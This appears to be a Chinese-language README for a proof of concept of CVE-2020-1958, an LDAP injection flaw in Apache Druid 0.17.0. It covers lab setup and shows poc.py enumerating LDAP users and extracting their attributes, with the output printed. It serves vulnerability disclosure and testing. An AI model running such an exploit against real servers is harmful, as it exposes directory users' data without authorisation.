CVE-2020-1958 是 Apache Druid 0.17.0 中的一个高危 LDAP 注入漏洞。攻击者可借此绕过 LDAP 搜索过滤器,并检索 LDAP 服务器上存在的任意用户的任意 LDAP 属性值。
来自 Apache Druid 官方公告:
当启用 LDAP 身份验证时:
- 持有有效 LDAP 凭据的 Druid API 调用者可以绕过
credentialsValidator.userSearch过滤器屏障,该屏障用于判断有效 LDAP 用户是否被允许通过 Druid 进行身份验证。如果配置了基于角色的授权检查,他们仍须接受这些检查。- Druid API 调用者可以检索 LDAP 服务器上存在的任意用户的任意 LDAP 属性值,只要这些信息对 Druid 服务器可见。此信息泄露并不要求调用者本身是有效的 LDAP 用户。
poc.py 脚本演示了未授权攻击者如何枚举与 Druid 集成的 LDAP 服务器上的用户,并获取任意用户的任意属性值。
如果你已经有一个启用了 LDAP 身份验证的 Druid 服务器,请跳过此步骤。
下载 Druid 0.17.0 并解压
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
在 conf/druid/single-server/nano-quickstart/_common/common.runtime.properties 中启用并配置 LDAP 身份验证
启用 druid-basic-security 扩展
找到 druid.extensions.loadList 并添加 druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
配置 LDAP 身份验证
在文件末尾添加以下内容:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
运行 OpenLDAP 服务器
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
将 users.ldif 中的用户导入到 LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
运行 Druid 服务器
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 用户的 LDAP 属性值$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last